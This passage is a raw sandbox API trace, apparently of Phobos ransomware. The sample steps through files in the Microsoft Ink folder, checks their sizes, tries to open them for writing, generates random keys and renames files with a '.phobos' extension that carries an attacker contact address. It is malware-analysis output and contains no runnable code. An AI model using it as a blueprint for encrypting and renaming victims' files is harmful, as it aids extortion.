files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0169.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.363] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.363] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10240) returned 1 [0169.363] CloseHandle (hObject=0x2d8) returned 1 [0169.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui")) returned 0x20 [0169.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.363] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.364] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=9728) returned 1 [0169.364] CloseHandle (hObject=0x2d8) returned 1 [0169.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui")) returned 0x20 [0169.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.364] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.364] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10240) returned 1 [0169.364] CloseHandle (hObject=0x2d8) returned 1 [0169.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20 [0169.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.365] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.365] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=41984) returned 1 [0169.365] CloseHandle (hObject=0x2d8) returned 1 [0169.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll")) returned 0x20 [0169.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.366] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.366] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=4101632) returned 1 [0169.366] CloseHandle (hObject=0x2d8) returned 1 [0169.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0x20 [0169.366] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0169.366] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0 [0169.369] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.382] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=391040) returned 1 [0169.382] CloseHandle (hObject=0x2d8) returned 1 [0169.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0x20 [0169.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.382] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.383] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=9728) returned 1 [0169.383] CloseHandle (hObject=0x2d8) returned 1 [0169.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0169.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.383] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.383] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=1086464) returned 1 [0169.383] CloseHandle (hObject=0x2d8) returned 1 [0169.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20 [0169.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.384] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.384] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=22016) returned 1 [0169.384] CloseHandle (hObject=0x2d8) returned 1 [0169.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20 [0169.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.385] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.385] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=1053184) returned 1 [0169.385] CloseHandle (hObject=0x2d8) returned 1 [0169.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll")) returned 0x20 [0169.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.385] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.386] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=647584) returned 1 [0169.386] CloseHandle (hObject=0x2d8) returned 1 [0169.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll")) returned 0x20 [0169.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.386] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.387] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=96768) returned 1 [0169.387] CloseHandle (hObject=0x2d8) returned 1 [0169.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20 [0169.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.387] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.387] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10240) returned 1 [0169.387] CloseHandle (hObject=0x2d8) returned 1 [0169.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui")) returned 0x20 [0169.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.388] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.388] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10240) returned 1 [0169.388] CloseHandle (hObject=0x2d8) returned 1 [0169.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20 [0169.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.389] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.389] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=7168) returned 1 [0169.389] CloseHandle (hObject=0x2d8) returned 1 [0169.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20 [0169.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.390] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.390] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=7168) returned 1 [0169.390] CloseHandle (hObject=0x2d8) returned 1 [0169.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0169.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.390] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: 